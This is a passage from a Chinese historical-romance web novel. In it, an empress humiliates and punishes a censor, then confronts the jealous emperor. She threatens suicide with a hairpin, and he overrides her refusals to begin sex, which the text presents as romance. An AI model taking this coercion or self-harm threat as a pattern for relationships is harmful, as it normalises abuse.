她脚步豁然定在原地,随即转过身来,那双美目微微眯起,冷冽的视线逐一巡睃过那几张面孔。她忽地冷笑一声,一步步走回,声音不高,声线淬寒:“刚才的话,哪个说的?” 寻常女子若被如此议论,只怕早已羞惭不堪,唯恐避之而不及。谁曾想这位看着不过双十的年轻皇后,行事全然不循常理,非但不躲,竟敢当众厉声反诘。 她那身气势陡然压下,几人慑于她通身的威仪,顿时尽数噤声退缩,竟无一人敢抬头应答。 孟清辞将他们的窘态尽收眼底,嗤笑一声,言语间尽是鄙夷:“怎么?刚不还是一副大义凛然的模样?这会儿倒是不敢认了?不过都是一群缩首噤声的宵小之辈!” 她不疾不徐,却字字千钧道:“在本宫面前,也敢行此官官相护、包庇同僚之事!此乃结党营私,其罪当诛!”冷嗤道:“莫非自以为位高权重,法不责众?亦或是,觉得新朝初立,本宫年少好欺?便以为本宫奈何不得你们了?” 不待众人反应,孟清辞声如寒冰,那森然寒意直浸众臣骨髓:“新朝自有法度,你们那点儿前朝遗留的底蕴,还没资格在本宫面前放肆!既然无人肯认,那便一并都拖下去罢,到了昭狱,严加审讯!” 这番话字字如刀,吓得跪地几人不禁一个哆嗦,都晓得皇后这几句话的厉害之处,也惊觉他们都小瞧了这年轻的皇后。 要知道“大不敬”与“结党营私”两项重罪扣下来,和谋逆也无甚差别,崔御史一时痛快了,倒是要叫他们抄家灭族。 其余大臣,开始是不想得罪同僚,如今更不敢开罪这位言辞犀利的皇后,忙不迭再次跪地请罪:“臣等不敢!” 如此一来,御史崔令仪兀自站着,便如鹤立鸡群,他脸色一下青、一下白。他不过是想要讨好恩师顾太傅,毕竟顾太傅家中有适龄女子,想要入宫,陛下不松口,便只能打皇后的主意,毕竟为陛下广纳妃嫔是皇后的本分。他不过是代为试探皇后,以为新后年轻好拿捏,不想却是个硬茬,他一时竟是骑虎难下。 崔令仪被皇后那似笑非笑的目光一刺,残存的气节翻涌而上,他若此刻退缩,让他日后如何在朝中立足?不愿在同僚面前失了体面,遂将心一横,梗着脖子扬声道:“臣身为御史,自当直抒己见,臣一人做事一人当。选妃乃国之要事,陛下为娘娘罢选妃嫔,动摇国本,皇后娘娘却不加以劝谏,岂非娘娘之过?令则,御书房乃是国之机要之地,皇后娘娘而今不通传直闯御书房,干政之嫌,岂非牝鸡司晨?一国之母中宫之位,当为天下女子典范表率,讲求贤良淑德。娘娘纵出身孟王府,然曾为奴十余载,失中宫之德,恐难母仪天下,何德何能位居中宫?” “好一个‘一人做事一人当’!”孟清辞闻言,不怒反笑,只是那笑意未达眼底:“本宫便成全你,与你便忠义,你莫忘了,先君后臣,先忠后义,本宫之后位,乃天子所赐,岂是你一个臣子能置诼?你依仗的是什么?你的恩师顾太傅?” 崔令仪虽然心虚,却是万万不敢认:“娘娘何苦牵扯旁人。” 孟清辞却不理会他,语锋陡然锐利:“你以下犯上,是为不忠;本宫乃陛下明媒正娶的正宫皇后,你非议于本宫,便是非议陛下,等同谋逆!” 她环顾当场,见宫人皆低垂脑袋侍立一旁,呵斥一声道:“来人!扒了他的官服,拖出去重打五十大板!传大理寺,按谋逆论处!” 自古皇后不得干政,并无处置大臣的权利,尤其是历朝历代,皇家轻易不会杀御史,遂崔令仪才敢如此大胆,不想年纪轻轻的皇后,手段比新帝还要‘残暴’,立时便处置了他。 崔令仪面色惨白,目眦欲裂:“你,你只是皇后!无权处置朝臣!你这是倒行逆施!你就是牝鸡司晨,不堪为后,乃不祥之兆!” “看来崔大人的心还留在昭德朝,是昭德朝的忠臣。”孟清辞语声淡然,淡笑道:“昭德朝的皇后或许没有这个权利。但如今,是陛下的新朝!本宫有没有这个权利,你很快就知道了。”她顿了顿,声音不高,却足以让在场的每个大臣心惊肉跳:“且让大理寺追加一条:崔大人心怀旧朝,按律,当徒三族!三代内不得为官。” 殿前的侍卫皆是墨简的旧部,早就不满崔令仪对皇后不敬,孟清辞话音才落,便上前来,不顾崔令仪挣扎,两下把他的官服扒了。 崔令仪口中吼道:“倒行逆施,简直是倒行逆施,我要见陛下,我要见陛下,陛下您要为臣做主啊,臣冤枉,臣冤枉啊” 殿前侍卫嫌弃他聒噪,怕他又惹皇后娘娘不快,立时堵了嘴巴,将人拖下去行刑。 跪在地上的几位大臣见此,皆是背后冷汗涔涔,此时方才彻底醒悟。这位皇后看似年轻,却绝非寻常,若无陛下默许,皇后娘娘岂敢在御书房外如此行事? 而一门之隔的陛下,至今未曾出面阻拦,其意不言自明,此时再多的心思都歇了,可笑,刚他们还在御书房内妄图试探陛下,简直是以卵击石,自取其辱。 孟清辞扬起下颌,目光扫过在场诸人,声音清晰掷地有声道:“今日之事,望诸位引以为戒。莫要这么快便忘了,不久之前,是陛下亲自破开城门,剿灭前朝余孽叛贼,救了诸位的身家性命。正所谓‘不破不立’,前朝的那些陋习,就别带到新朝来了!以免新朝重蹈覆辙,到时候,天下动乱,便是真正的罪人了。更别妄想借题发挥,天真的以所谓‘祖制’裹挟君主,拿捏本宫。” 她语带锋芒:“需知陛下的龙椅,并非承袭前朝,而是而是雷霆火药破城而来!若有人以为陛下与本宫初登大宝,便可以旧臣自居,仗着前朝资历妄图掣肘,以为可以兴风作浪,便是打错了如意算盘,这天下江山,于陛下与本宫而言,并非倚仗诸位得来。”言罢讥嘲道:“前朝皇帝都能拉下马,如今称帝,还怕屠师吗?君臣之分,还是莫要混淆。” 字句犀利,如利刃剖心,将几位旧臣最后的侥幸心理彻底击碎。连顾太傅的面子都不给,让他们清清楚楚地认识到,这位皇后,绝非任人拿捏的软柿子。 若在平时,定是有人出面和稀泥、求人情,求个同气连枝的好名声。 可今日,皇后雷霆手段,给崔御史扣下了“包庇结党”的帽子,崔御史被打板子的嘶吼一声声传来。谁还敢出头?一个个只求明哲保身,乖顺恭谨的拱手:“臣等谨遵懿旨。”再无什么傲气可言。 孟清辞并非嗜杀之人,本不愿行此极端,却不想崔令仪今日主动撞上来,若想立威,她便绝不能有半分退缩,更不能躲到傅珩身后,要他为自己做主。 她必须亲自挥刀,告诫所有人:今后诸多政令将出自她的懿旨。树起中宫不容侵犯的威信,不容任何置疑! 在这腐朽的,根深蒂固的纲常壁垒面前,空谈仁义道德只是徒劳,她不会傻得在这个世族林立的旧秩序里,以求人人平等,真善美能改变这个世道。 乱世当用重典,以暴制暴,杀鸡儆猴。傅珩以兵锋定鼎乾坤,那么她,必须用同样的铁腕,在这新朝之初,以雷霆手段,为自己劈开一条执掌权柄的道路! 处置完毕,孟清辞头也不回,径直踏入御书房,两旁宫人似早已见怪不怪,无一人敢上前阻拦。 副管事刘玉生和小瑞子却是暗自吐出一口气,死道友不死贫道,皇后娘娘这口气算是消了大半,心道今日他们的脑袋算是保住了一半。 孟清辞此番着实动了真怒。她本打算缓缓,再循序渐进的让顾聿琛接受,他们两个人不再可能得事实。 她深知顾聿琛和自己一样有一颗执拗的恒心,轻易不会放弃执念。而非在他毫无准备之时,被迫将这残酷的真相骤然摊开。 孟清辞直至御案之前方才猛然停住,一双美眸如淬火的利刃,直刺御座上的傅珩:“陛下若实是想知道我与顾淮序的关系,又何必处心积虑,做些小人行径,损了天威,您如今是陛下,只许一道旨意,我还能不从吗?我今日就成全你,也免得你再日夜猜忌、百般谋算!我与他” 傅珩:“别说了!”他骤然欺身上前,手掌近乎失控地掩上她的双唇,细长的眼眸发红,胸膛下心跳如擂鼓轰鸣,那日夜啃噬他的疑忌,所有处心积虑的探寻,竟在真相触手可及之时,本能的化作蚀骨的恐惧:他不敢听,他害怕那个答案会将他们之间刚建立起来的,脆弱的感情彻底摧毁。 孟清辞愤愤抓开傅珩的手,冷笑着逼视傅珩几乎瞬间苍白的冷峻脸旁:“怎么?你怕了?你以为是什么关系?你不是一直想知道?为此不惜算计我和他,我现在主动告诉你,你反而怕了?” “清辞,是朕错了。” 傅珩声音带着一丝狼狈的颤意,甚至泄出一丝连他自己也难以察觉的乞求:“朕再也不问此事了,还不成吗?” 孟清辞此时却不肯放过他,非要叫他吃个教训:“怕什么?怕我为了气你随口编造谎言,你又无从查证?还是怕我说了真话,你会怒极失控,做出无法挽回之事,到头来追悔莫及?傅珩,你怎么活到今日,还没被你的疑心病害死?你真是命长呢!” 傅珩冷硬的轮廓瞬间掠过一丝狼狈的浮红,他紧抿薄唇,再次伸手捂住她的嘴,额头抵着她的,纤长眼睫低垂,心虚的垂眼不敢与她对视:“朕知错了……清辞,你饶朕这一回罢?” 孟清辞眸色泛冷,张口便狠狠咬在他虎口上。傅珩闷哼一声,剑眉紧蹙,却纹丝未动,任由她宣泄心中怒火,仿佛这皮肉之苦,能抵消些许他心头的煎熬之苦。 直到唇齿间漫开铁锈般的腥甜,她才松口,恨声道:“呵,饶了你这次,还要饶了你那次,一次又一次。既然你已经做出了抉择,就该知道代价,这不是你教我的吗?” 孟清辞易错不错的凝视傅珩:“我与他自幼青梅竹马,情深意重,我恋慕他多年,亦痴心不改,这个答案,你可满意?” “你不就是这么猜的吗?”她扬起脸,眼底尽是孤注一掷的疯狂,“是不是此刻就想杀了他?我告诉你,傅珩,你若动他分毫,我绝不独活!” 傅珩的呼吸骤然凝滞,心口如同被烧红的利刃贯胸而过,痛得他眼前发黑,几乎站立不稳。他眸色沉如墨渊瞬息沸腾,翻涌着阴鸷的风暴。 却又在深处泄露出一丝破碎的祈求,他低声喃喃,仿佛在说服自己,声音沙哑得几乎碎裂:“别说了,清辞,你骗我的,你只是太生气了,说的都是气话,你只是想气我?” “傅珩,你想的都成真了,你开心了吗?”孟清辞冷笑一声:“你有了借口杀了他,我再死了,这一切便结束了,皆大欢喜。” 傅珩双目越发赤红,将孟清辞紧紧搂在怀中,近似发狂低吼:“朕让你别说了!” 傅珩攫住她不肯放过自己的红唇肆虐,像是要惩罚她,又似在自我慰藉,他的心仿佛要割裂开,明知道她是在故意刺激自己,却忍不住去想她的话—— 作者有话说:本文大结局又进一步,收个尾快了! 来收藏我的预收文《刑部对面小酒馆儿》 现代刑警杨霏穿越大明,靠着一手酿酒的手艺,开了一家酒馆儿,做起了沽酒娘子。 恰巧杨家小酒馆儿开在刑部对面,今儿一桩案,明儿一桩案,杨娘子磕着瓜子,喝喝小酒,随便猜猜案情, 不得了,一猜一个准儿,成了远近闻名的神嘴断案 杨霏:咦~~她娘不是寡妇嘛,怎么皇帝上赶着给她当爹? 沽酒&美食&破案&谈情&轻松&市井&种田&家长里短 cp:潇洒沽酒娘子×刑部侍郎&冷酷锦衣卫指挥使 1v2【`xs.c`o`m 网】 【大结局】 第64章 第 64 章大结局 不破…… 傅珩从前便有所猜测, 孟清辞心里是否藏已经有了旁人?她这样的年纪,哪个少女不怀春?偏她,却总透着一股过分的冷清。 只是那时, 他始终看不透她。她似乎与谁都隔着一层, 对安义侯府的人如此,对宋家兄弟亦是如此。任凭是谁, 她总能毫无留恋地转身,走得云淡风轻。 直到傅珩窥得她与顾淮序的秘密, 几乎坐实了他的猜测。他得不到的,如何能让旁人得了?天知道他反复猜忌,几乎难以抑制, 想要活刮了顾淮序。 听了孟清辞那些能捅刀穿他心窝的话,傅珩又实在是后悔不已。如今孟清辞是他的皇后,名分已定, 再不能更改,他又何苦旧事重提,徒增两人的牵扯。 天知道, 孟清辞在御书房外收拾崔令仪的时候,傅珩在御书房内有多庆幸,庆幸有人帮他分担了她此时的怒火。 孟清辞此刻哪里肯依着他, 捶打在他坚实如铁的胸膛上, 推搡他, 她实是厌烦傅珩的反复无常。 当下看着已老实, 实则不过是他自己经受不住怀疑的摧残。而她担心的, 正是这长长久久的猜忌,一旦发作,会在某日要了顾聿琛的命。 既如此, 不如趁着此刻,她索性承认了,以傅珩的狗脾性,怕是还要反回去猜疑。 傅珩任由孟清辞推搡,一双手臂却是不肯松开她。一边小心翼翼不停的陪着不是:“清辞,你消消气,朕真的知错了。” 孟清辞被傅珩禁锢在身前与御案之间,退无可退。见傅珩仍旧一副浑不吝的姿态,妄图轻描淡写地将今日所为揭过,她哪里肯。 趁着傅珩猝不及防,孟清辞拔下发间的金凤簪,抵着自己脖颈处的动脉。 因孟清辞情绪亦是激动,她手下竟是没了准头,那簪子锋利的尖头,立刻便扎破了她瓷白是肌肤。 她脖颈上的动脉被那簪子尖压着,汩汩而动,吓得傅珩瞳孔骤缩,想要伸手去制止,却让孟清辞喝住:“别动!”说着那簪子的尖头扎进一分,一丝血流了下来。 傅珩呼吸一滞,忙撤开身寸许,嗓音难得一见的露出一丝慌乱:“我不动你,你千万别伤了自己。” 孟清辞半阖着眼眸,讥诮道:“我先去一步,随你怎么折腾他,你岂不是更快哉,到时候我便真的是因他而死,你也不必再有那许多的猜疑。” 傅珩摇头,却是不敢动她,垂在身侧的手指都在隐隐发抖,若说刚才有三分悔,此时却是有十二分的悔恨来。 孟清辞从不是一哭二闹的性子,也轻易不在他面前以命相搏,之前在船上,被他气得狠了也是拿着簪子措他。 傅珩此时脸色灰败,挫败颓丧道:“你别怕,他于社稷有用,我并不会动他。” 孟清辞惨淡一笑:“你明知道,却还是要试探,你难道不是对他动了杀心吗?傅珩,你真是贪得无厌的很,不如给你,我这一具尸身,你便彻底消停了。” 傅珩知道,此时说再多已于事无补,见她紧紧攥着簪子,根本不给他一丝机会,她脖颈的动脉每跃动一次,便让他心惊肉跳一下:“不,你莫要说这些不吉利的,此事确实是我混账。”他咬了咬后槽牙,到底说道:“我发誓不再动他就是。” 孟清辞却冷笑讽刺道:“是吗?他从前于我有救命之恩,为了我再也站不起来,与我青梅竹马二十余年,你又能忍得了?” 傅珩知道,孟清辞一向喜欢说反话叫自己不痛快,此时却觉得她说的未必是假的,却也再不敢有一丝一毫的怨怼,生怕她心灰意冷自绝于己。 傅珩深知自己的占有欲有多病态,明知道那是她与顾淮序的另一个人生,却还是无法不去嫉妒,无法不介怀。 他妒忌顾淮序能得到她无条件的信赖,他妒忌顾淮序曾经得到过她的感情,亲情,友情,爱情,他统统都妒忌。 他当初搞砸了,凭什么顾淮序能得到她的全心全意,即便是在没有他的地方,也能让他嫉妒到发狂。 傅珩没有马上作答,垂着眼眸,他尽量放缓呼吸:“我知他已经出局了,今日是我之过,你罚也罚了,我愿将功补过。” 他近乎祈求的看她:“你不是想要取缔乐户贱籍?想要散尽天下勾栏瓦肆?我已为你安排了一人,想要如何,单凭你吩咐。” 孟清辞当然是只是吓唬傅珩,听此不免意外,不想傅珩刚刚登基,诸事繁冗,还拨冗将此事办在了前面,亦不是丝毫不动容。 傅珩见她松动几分,松了半口气:“看在为夫一片痴心的份上,夫人饶过我罢。” 孟清辞攥着簪子的手果然松了松,挑眉道:“你的痴心,还真是让人无福消受。” 傅珩赶忙顺着她递来的‘梯子’下来,一把抓过孟清辞握着金凤簪的手,将簪子从她手中夺下甩于御案上,一把将她扣在怀里,紧贴着他的胸膛,提着的一颗心才放了回去。 他抚着孟清辞的背脊,犹自心有余悸:“清辞,清辞,朕知你容朕良多,只要你不离开朕,只要你不喜欢上别人,你想要这天下又如何?” 说着,傅珩将人打横抱到后殿的寝踏上,拿来巾帕打湿了,小心翼翼的擦掉孟清辞脖颈上的血痕,一面叹息:“你若是有气,只管扎我,何必要伤了自己。” 孟清辞别过头去,并不想理会他,他此时看着老实了,若她轻易给他三分好脸色,他便还要翘起尾巴来。 傅珩阴暗的想:就算顾淮序曾与她年纪相仿又如何?就算顾淮序对她余情未了又如何?就算孟清辞仍旧待顾淮序特别又如何?他如今已是牢牢的把她握在掌心里,只要这天下是他的,她便不会离开他。 待擦拭干净,傅珩又拿来药膏,仔细的一点点涂抹在她的伤口处。 似是想要证明,孟清辞对他有情,他一双大掌不安分起来,只有在她情动的时候,傅珩才会觉得,孟清辞待他是有几分情谊的,不是只是利用,不只是委曲求全。 繁复厚重的裙摆被嫌弃,孟清辞大惊失色,顾不得其他,抓着他的手腕儿,秀眉蹙起,羞恼道:“你疯了,这是御书房。” 傅珩嗓音低哑,吻着她耳后的敏感处,哄慰她:“没朕的吩咐,谁也不敢进来。” 孟清辞哪里是和他说这个:“不行,你不要脸,我还要脸,你快松开。” 怎奈她敌不过傅珩的力道,轻易便让傅珩制住,不过片刻便散乱了一身宫装,钗鬟跌落在御案上发出脆响。 孟清辞倒抽一口气,锤傅珩肩头:“你疯了。” 傅珩苦笑一声:“你不是一直都知道吗?” 孟清辞仰起头,露出那一节细白的脖颈,一点伤口血痕凝结,开出颓糜绚烂的花。 她手指|抓|入|傅珩浓密的黑发内,压抑的咬着唇瓣,不肯溢出一丝声来。 傅珩见她情动,肌肤泛着粉色的光泽,清凌凌的眸子染上迷蒙之色,细长的眼眸墨色翻涌。 御书房外,副管事刘玉生与小瑞子等人,起初隐约听见殿内传来些许响动,皆是皇后娘娘厉声怒叱陛下之言。 众人一个个低垂着头,大气不敢喘,唯恐陛下雷霆一怒,殃及他们这些做奴才的,恨不得没生出那一对儿耳朵来。 逐渐,皇后娘娘的斥责声渐渐低了下去。一众太监宫女在外头提心吊胆,各自默默祈祷。 谁知道,不多时,副管事刘玉生隐约听见御书房内传出些耐人寻味的声响来。 刘玉生压低眉峰,寻思了稍倾,似是明白了什么,赶忙赶忙挥手将众人全都遣至御书房院门外守候,生怕有人不慎闯入,惊扰了里头的两位主子。 此时,大总管王忠贤急匆匆赶回,远远就见殿门紧闭,一众宫人全都退到院外,一个个低眉垂首,恨不得装死的一众人,他心头悬着的那口气一下子泄了个干净。 王忠贤抬手敲了下干儿子小瑞子的额头,低声斥道:“小兔崽子,让你回来报信,你倒好,在这儿装什么木头!” 刘玉生连忙将王忠贤拉到一旁,和他比了个噤声的手势:“您老可小声些罢。”说着朝御书房内努了努嘴,“可别惊扰了主子的好事。” 王忠贤顺着他的目光望去,他人老成精,不过片刻便回过味来,脸上顿时露出一言难尽的神色来,合着他这一路,全是白着急了。 御书房内殿里,傅珩此刻只觉什么皇帝,什么天下,都没有眼前的美人鲜活。 “清辞,你不能偏心,便也疼疼我罢!”情到浓时,傅珩咬着她的耳垂的软肉,低声道:“朕知你想要冶铁,只那一处如何能够,你做了朕的皇后,这天下的铁矿便是任你施为。” 孟清辞被傅珩逼迫到角落里,难耐的咬着他的肩头,一把娇软是嗓音断断续续:“傅珩,偷看我的东西,说的冠冕堂皇,你贱不贱呐!” 傅珩在她面前,早没了脸面,如今却是不以为意,亲昵的蹭了蹭她的侧脸,喟叹一声:“我从前恨她,如今有了你,却是要谢她,若不是我像她,又怎么能得到你?” 孟清辞闭了闭眼,抵御傅珩的侵略,他总是想要用这样的方式,强行闯入她内心深处,似要窥探她心底每一处才肯罢休:“够了。” “清辞,你怕了?”傅珩却不肯:“怕我如此不堪,却仍动心了吗?” 孟清辞扬手给了他一巴掌:“你闭嘴。” 傅珩不躲不避,却是不肯推开分毫,一双细长的眼眸攫住她,不放过她一丝一毫的神色变化,他就知道,她是最心软的。 卑劣又如何?要他示弱又如何?即便是摇尾乞怜又如何?总之,他不会如顾淮序一样傻,推开她,他有的是耐心和她磨。 待孟清辞从御书房出来,日影已微微西移,过了晌午,她双颊犹染春色,眼波流转间隐有潋滟水色。傅珩想让她留下伴驾,孟清辞却是如何不肯,他拧不过,只得让孟清辞乘自己的御撵回去。 从御书房出来没多远,正巧遇见前来找傅珩的傅晏桉。 傅承怀如今封了王,傅晏桉便成了郡王爷,他如今掌管大理寺,正三品,年纪轻轻身居高位,抵得过傅珩当年的风头。 傅晏桉一身绯色锦鸡补子官服,比起往日在安义侯府里那个清润如陌上公子如玉的模样,多了七分冷肃,如今他的模样才是傅家人真正的底色。 傅晏桉远远便瞧见了那八人抬的御辇,仪仗煊赫,宫人提灯随侍开路,一路逶迤行来。辇上斜倚着一身华丽繁复宫装的女子,弱不胜衣,娇艳逼人,正是他朝思暮想之人。 傅晏桉怔怔站在宫道正中,负手而立、不躲不避,御辇渐近,望着辇上那抹刻入骨血的身影,眸光深情晦涩,似有山海深情,他情难自禁道:“晴儿。” 傅晏桉见她美眸染着春色,整个人比起两年,犹如盛开的花朵,美艳不可方物,自然知道是他那好叔叔的手笔,一想到自己心尖上的人承欢他人,傅晏桉一阵心如刀绞。 孟清辞今日本便心情不顺,情绪大起大落,又被傅珩狠狠摆弄一通,正是疲惫又烦闷,听见有人唤这一声‘晴儿’,更是如被点燃的炮仗,一瞬便要炸了。 ‘晴儿’这个名字,包含了孟清辞屈辱隐忍的十年,她好容易摆脱了这个身份,却是不愿意有人再提及。 若说做金韫年是她穿越后最痛快的两年,那安义侯府的十年便是她挥之不去的梦魇,每一日都如履薄冰,胆战心惊。 孟清辞在御撵上不耐的睁眼,见是傅晏桉拦住了她的去路,更是觉得晦气的很,冷着脸,很是不客气的道:“都说小郡王芝兰玉树,温润如玉,有你皇叔昔日之风骨,怎的见了本宫竟是如此不知礼数?你如今要唤本宫一声皇婶。” 傅晏桉被这话怼的脸色一阵青一阵白,只觉得如鲠在喉:“你是不是”被他逼迫。 宫女素娟见状,想着为了前程拼一把,心下一横,抢步上前福了一礼道:“小郡王,御前失仪关乎体统,还请您顾及天家颜面,谨言慎行。” 傅晏桉强抑的怒火被此言彻底点燃,闻言厉色怒叱:“放肆,区区宫婢,也配在本郡王面前置喙?” 孟清辞哂笑一声:“郡王爷好大的威风,我这婢女不经吓,你倒是不必指桑骂槐。” 傅晏桉忙解释道:“我并非是这个意思,我只是” “我什么?想问我如今是不是过得好?还是想听我说,我是被你叔叔强迫的,并非自愿做这个皇后?”孟清辞嘲讽的轻笑一声:“你也做了几年的官,怎么还是如此天真?莫不是骗我不成,却是自己信了?” 孟清辞从前也言辞锋利,却不似今日似要剥了他的面皮在地上踩,只让傅晏桉觉羞臊的脸若火烧,艰难道:“你怎如此狠心,我待你的真心,你真不知吗?自从你离开侯府,我一直惦念你,你这两年过的可好?” “好侄儿,皇婶过的好说不好,不是显而易见,毕竟这天下没几个男人能让我做皇后之位。”孟清辞坐在御撵上,居高临下,似笑非笑的藐视傅晏桉:“至少你便不能许我后位,还是你也继承了傅氏的劣根,偏偏喜欢乱|伦|?” “你非要如此吗?我当初明明已许你正妻之位,是你抛下了我,否则,如今你已是郡王妃,皇叔虽予你后位,他却是大你许多,你竟然为了权势跟他么?”傅晏桉攥紧了掌心,隐有怒意,终究按耐不住低喝道:“他老了,他又能给你什么?你怎能如此自甘堕落?” 孟清辞听到此,呵呵笑出声来,取笑道:“你竟如此天真,便是陛下亲侄子,德不配位,又如何做得大理寺卿?”随即召唤一声:“王忠贤,你可是听清了,待会儿可要一字不差的回禀陛下。” 在御撵后装死的王忠贤,擦了擦额头上的汗,不得不转出身来,他若知道今日曲折,一早便告病一日,这简直要了他的老命。 这傅氏一族称帝才几日,他便过得心惊肉跳。他从前也听闻傅氏些许风言风语,可世家大族里,哪个没电龌龊,却是哪家也不敢光天化日,当着众人,赤|条|条宣之于口。 大总管王忠贤挂着苦瓜脸:“小郡王慎言,岂能妄议陛下。” “妄议?”傅晏桉却是讥诮一笑:“他做叔叔的,夺了亲侄子挚爱,却还怕本郡王说嘛?” “你不过是想要圈养驯化一只漂亮的金丝雀,可别往你自己脸上贴金了,本宫听着便觉得恶心。”孟清辞一手搭在御撵的扶手上,冷着脸色道:“论起来,你既不如你父亲,为了复仇断情绝爱,忍辱负重几十年,亦不如你叔叔,他至少没有你虚伪。” 傅晏桉被孟清辞说得面红耳赤:“你” 王忠贤算是见识了皇后这张利嘴,全然不顾及他们这些奴才死活,再也无法在一旁装死,赶忙出来打圆场:“郡王爷,既然是入宫觐见陛下,怕是有要务在身,还是赶紧随老奴来罢,免得误了郡王爷的事儿。” 王忠贤擦了擦汗,生怕再耽搁,皇后还要说出什么惊世骇俗的话来,到时候他们今日送驾的怕是都要被陛下灭口。一面催促抬着御撵的几人:“还不快送娘娘回宫,若是累着娘娘,你们都是嫌命长呐!” 素娟也是让皇后与郡王的话吓住了,这时候被王忠贤喝醒,为了小命,仿佛没见着郡王爷一样,只管领着宫人开路。 傅晏桉哪能真让他们撞到,只得避让开去,看着御撵扬长而去,却似不甘心的站在宫道上迟迟不动。 王忠贤躬身提醒道:“郡王爷,请罢。” 且说,孟清辞烦透了傅家这对兄妹,她在宫道上打发了傅晏桉,让傅珩将其贬斥一顿,又打了板子,这才让傅晏桉不敢再放肆。傅静妤便隔三差五,递牌子进来想要见她。 素娟悄悄觑着孟清辞的神色,小心翼翼地禀道:“娘娘,这已是平安郡主第五回递牌子请见了。” 一旁朱幼宜“咔”一声轻合上茶盖,唇角一弯,笑道:“她倒是有恒心,怎么?这做皇后的,如今还要伺候郡主?我这小门户出身的,倒是不知道,这是哪门子的规矩?” 素娟被她一句话噎住,讪讪垂手侍立,低声道:“奴婢……不是这个意思。” 孟清辞轻叹一声,对朱幼宜道:“她们曲意逢迎惯了。外头又都传,说我曾在安义侯府为婢,便都觉得我这个皇后在傅王府面前天气短,合该处处忍让、时时巴结。” 素娟被说中心思,头更压得低了些。 朱幼宜闻言,嗤笑着打趣道:“还曲意逢迎,你不给他们穿小鞋便是开恩了。难道还指望你以德报怨不成?” 孟清辞摆手道:“不搭理她便是了,她如今求仁得仁,只是自觉有功于社稷,想要更进一步,又怕我记恨阻拦,不过是想来我这里试探。她素来好算计,我才懒得理会她,她却是一叶障目。她也不想想,陛下怎会封前朝太子妃为本朝长公主,那岂不是在昭告天下,她于新朝功在千秋,日后叫史书如何记载。” 朱幼宜沉吟一瞬,似是想到什么,抬眼去看孟清辞,却见她只是低头喝茶。 殿中一时静得针落可闻,几个近身伺候的心腹皆是大气儿不敢出,虽说已是习惯了皇后时常语出惊人,却也仍旧被她此番言语唬的不轻。 朱幼宜脑子转了几转,品出些别的意味,觉得这话是说给她听的,也不知道是不是想借她的口传与陛下听。 她默了一瞬,极自然地岔开话头,禀起正事:“按娘娘先前的吩咐,臣女已去信肇庆府,将往各地筹建作坊的一应人手皆已调配妥当。只是,”她话音微顿,显出几分顾虑:“如今大同、山东、河南三府仍有余孽,即便日后收复,当地世族豪强仍旧盘根错节,恐怕也不如咱们根基稳固之地好经营施展。” “这你便有所不知了。”孟清辞唇角泛起清浅笑意,略有得意道:“自古而来,何曾有过坚船利炮轰不开的城门?待得工部的没良心炮攻破三府,那些盘踞地方的世族豪强,自会惊惶如巢倾之卵。人在自以为身陷绝境时,只要有一线生机,损失些许利益对这些死而不僵的世族又算得了什么,正是不破不立的好时机。”(备注:没良心炮来自我军,k纪念馆,用汽油桶自制,这里借用一下,因为简单好用威力大。) 且说,当初宝船停泊在闽州,朱幼宜便遵照孟清辞的吩咐返回广州,那里傅珩经营多年,有墨松出面,很快便施行了乐籍改制,取缔贱籍。 卖身戏班或是秦楼楚馆里的戏子、乐女支,皆能依照当初卖身,身楔上的银钱数额,自赎己身。 身楔却是要有官府的大印才算数,若是班主和老鸨拿不出盖有官府印的身楔,官府一概不认,戏子、乐女支不论那女,皆可直接到府衙立一份普通户籍,立时便成了受新朝保护的普通百姓。 却说,那些戏楼和秦楼楚馆里,哪个好人家若不是走投无路会买儿卖女到那里去,这两处地方,多数都是私下买卖不知哪里贩来的人,老鸨和班主只能自认倒霉。 而这两地的富商巨贾,多半是早年追随傅珩建功立业的从龙之臣。如今新朝将立,眼看便可改换门庭、锦绣前程,他们自然乐得向新帝卖个人情。既表了忠心,又能借此机会将手中那些不甚光鲜的产业洗白脱手,正是一举两得。 浙江有姚知州和陈家,简直是水到渠成,故而朱幼宜操办此事时,并未遇到多少阻力。至于那些虽得了新户籍,却无处谋生之人,则尽数被纳入孟清辞与朱幼宜名下的各处作坊。一边教导,一边习艺,授之以渔,使其得以安身立命,免于因生计无着落,而再度自甘堕落。 朱幼宜虽然并不知道没良心炮是个什么东西,炮轰京城的时候,她亦是没见着,却是对孟清辞的话深信不疑。 她曾以为,离开了孟清辞与幼子岑亦初,自己便要没了魂儿,徒有家资,却生无可恋。却不曾想,如今竟能将商行开遍天下,这是她从前连想都不敢想的。更难得的是,如今有红绡常伴左右,为她分忧解难,助益良多。 朱幼宜心里清楚,眼下经营的这一切,桩桩件件都关乎孟清辞与岑亦初日后权势的稳固。这才稍稍冲淡了她心底那份难以割舍的思念。 孟清辞又将铁矿开采的事宜细细说与朱幼宜,她往后很难出宫去,只能将事情托付给朱幼宜。这部分,她已经和顾聿琛商量过,他们最终的目的是造枪。 两人正商议着,此时殿外通禀,刑部宋侍郎觐见。 “臣,拜见皇后娘娘,娘娘千岁千岁千千岁。” 孟清辞让人平身,这才看清来人,惊讶道:“怎么是你?”傅珩早前与她说,让他的门生来给自己办差,却不想,这人竟是宋闻璟。 宋闻璟早已得知孟清辞入主中宫之事,如今却是不敢再生半分逾越之念,只垂首敛目,恭声道:“臣昔日蒙陛下不弃,得入门下,幸受提携之恩,方有臣今日能为皇后娘娘效命。” 孟清辞对傅珩一时竟不知该作何言语,她心中再清楚不过,傅珩分明是介意当初茶楼中她与宋闻璟所谈之言,才故意收宋闻璟为门生。 思及此,孟清辞不由暗叹:这男人在别处能百纳海川,偏在这等事上,心眼竟比针尖还小。 “这便也是你的福分。”默然片刻,孟清辞微微颔首,示意宫人为宋闻璟看座。她目光温煦,唇角含着一缕浅淡笑意,缓声道:“你先前关于律例的几项建言,陛下同我略提过一二。条分缕析,足见用心。” “皆是臣的分内之事。”宋闻璟拱手告谢,顿了下又道:“能为娘娘分忧乃是臣之幸事,臣定当幸不辱命。” 孟清辞见宋闻璟入殿后便垂首以对,心道,宋闻璟果然还是过于年轻,便与朱幼宜介绍道:“这便随是你一起的刑部侍郎,宋大人,若是有何不顺,只管找他助你。” 又向宋闻璟道:“这便是太子的干娘,岑家大小姐,此次你去地方推行新法,还需与她协作。” 两人互相见过礼,孟清辞便又笑着与朱幼宜道:“要说你与宋大人也不算陌生,你看他眼熟罢,他与宋泊简是双生子。” 